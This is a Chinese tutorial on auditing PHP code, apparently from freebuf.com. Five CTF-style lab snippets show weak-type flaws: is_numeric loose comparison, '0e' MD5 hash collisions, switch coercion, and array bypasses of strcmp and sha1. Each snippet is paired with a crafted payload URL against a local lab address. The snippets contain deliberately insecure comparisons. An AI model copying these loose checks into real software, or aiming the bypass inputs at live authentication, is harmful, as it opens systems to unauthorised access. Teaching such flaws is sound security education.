PHP代码审计学习-常见漏洞函数-弱类型篇 – 作者:luckinsven

前言

PHP是一种创建动态交互性站点的强有力的服务器端脚本语言,免费并且使用非常广泛。PHP环境目前的搭建也相当简单,可使用PhpStudy等工具一步到位。

本文主要除了除理论上去解释PHP常见函数的漏洞利用,更结合CTF题目,实战解释,有兴趣的朋友可以将源码Copy后复现,相信会收益更多。

众所周知,PHP一门弱类型的脚本语言,本文介绍的漏洞,均是是从类型转换缺陷、类型转换不严入手。

下一篇会从变量覆盖出发。

1.is_numeric类型缺陷转换

PHP提供了is_numeric函数,用来判断变量是否为数字。PHP弱类型语言的一个特性,当一个整型和一个其他类型行比较的时候,会先把其他类型intval数字化再比。

intval() 函数用于获取变量的整数值。

<?php
    error_reporting(0);  
    // 关闭错误报告
    $flag = 'flag{is_numeric_pass}';
    // 新建一个变量,值为:flag{is_numeric_pass}
    $a = $_GET['a'];
    // 新建一个变量a,以Get的形式赋值
    is_numeric($a)?die("Sorry...."):NULL;
    //通过 is_numeric函数,判断id是否为数字,如果为数字,则结束,输出sorry    
    if($a>2019){
    // 若a大于2019输出flag
        echo $flag;
    } 
?>
//解题思路,要求输入一个大于2019的数字才能获取flag,但是如果变量为数字就结束程序,陷入矛盾,
//利用PHP弱类型比较的特点,一个其他类型与整型比较时,会将其他类型自动取整型再比较,利用此特性绕过,即赋值a为10000abc,绕过

构造Payload:http://192.168.200.148/php_lab/lab1.php?a=10000a

image.png

2.Hash比较缺陷

<?php
    $md51 = md5('240610708');
    $a = @$_GET['a'];
    $md52 = @md5($a);
    if(isset($a)){
        if ($a != '240610708' && $md51 == $md52) {
            echo "flag{md5_pass}";
        } else {
            echo "false";
        }
    }
    
?>

该函数要求我们输入一个a,这个a不能是240610708,但是要求其MD5值是一致,同样陷入矛盾困局。

此时还是利用PHP弱类型缺陷

首先240610708的MD5值为:0e462097431906509019562988736854

这里是0e开头的,在进行等于比较的时候,PHP把它当作科学计数法,0的无论多少次方都是零。 所以这里利用弱类型的比较的缺陷来进行解题:如果md5的值是以0e开头的,那么就与其他的0e开头的Md5值是相等的。我们找到:s1885207154a,其MD5为:0e509367213418206700842008763514

构造Payload:http://192.168.200.148/php_lab/lab2.php?a=s1885207154a

image.png

3.switch判断绕过

本章节会涉及一点正则相关的知识,如果零基础的同学,可以通过下方链接学习。

https://www.runoob.com/regexp/regexp-syntax.html正则表达式学习

<?php
if(isset($_GET['a'])){
    $pattern = '/^(?=.*[0-9].*)(?=.*[a-zA-Z].*).{4,}$/';
    //^为开头,.*为匹配,要求字符串开头有数字,有字母,匹配不少于4次
    $a = $_GET['a'];
    //给a赋值
    if(preg_match($pattern,$a)===0){
        //如果不匹配正则表达式,输出格式错误
        echo "format error";
    }else{
        switch($a){
            //当a值等于4的时候,可以得到flag
            //解决思路,还是弱类型转换绕过,?a=4abc
            case 1:
                echo "error..";
                break;
            case 2:
                echo "error..";
                break;
            case 3:
                echo "error..";
                break;
            case 4:
                echo "flag{switch_pass}";
                break;
        }
    }
}
?>

我们将a赋值为 4abc,符合匹配要求,最后在判断的时候,因为4abc不是整型,会自动进行转换取整,故数值为4,得到flag。

构造Payload:http://192.168.200.148/php_lab/lab3.php?a=4abc

image.png

4.strcmp()字符串比较函数绕过

<?php
 error_reporting(0);
 //关闭错误提示
if (isset($_GET['a'])) {  
    //判断是否以get形式为a赋值
    if (strcmp($_GET['a'], $flag) == 0) 
        //比较a变量和flag的字符,再将结果与0【false】比较
        echo 'flag{strcmp_pass}'; 
    else  
        print 'you are failure';  
}
?>

int strcmp ( string $str1 , string $str2 ),函数介绍:如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

但strcmp只会处理字符串参数,如果给个数组的话呢,就会返回NULL。而NULL==0是 bool(true),满足if判断的逻辑,就得到flag了

构造payload:http://192.168.200.148/php_lab/lab4.php?a[]=7

image.png

5.sha1()安全哈希散列函数比较绕过

<?php
error_reporting(0);
//关闭错误报告
if (isset($_GET['a']) and isset($_GET['b'])) 
    //判断a变量和b是否为空
{
    if ($_GET['a'] == $_GET['b'])
        //判断a和b是否相等
        echo '<p>a and b  can not be same!</p>';
    else if (sha1($_GET['a']) === sha1($_GET['b']))
        //判断a和b的sha1值是否相等,如果相等则输出flag
      echo 'flag{sha1_pass}';
    else
        echo '<p>You are failure.</p>';
}
else
    echo '<p>You are failure!</p>';
//题目要求a和b的sha1值相等,但是变量值不能相等,此处为突破点
?>

sha1()函数默认的传入参数类型是字符串型,那要是给它传入数组则会出现错误,使sha1()函数返回false,两个false也就符合条件输出flag了。

构造Payload:http://192.168.200.148/php_lab/lab5.php?a[]=6&b[]=7

image.png

作为一名渗透初学者,理解有限,如果您看到这里,非常感谢您的支持,欢迎提出宝贵意见,多多交流。

来源:freebuf.com 2021-03-28 21:51:19 by: luckinsven

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论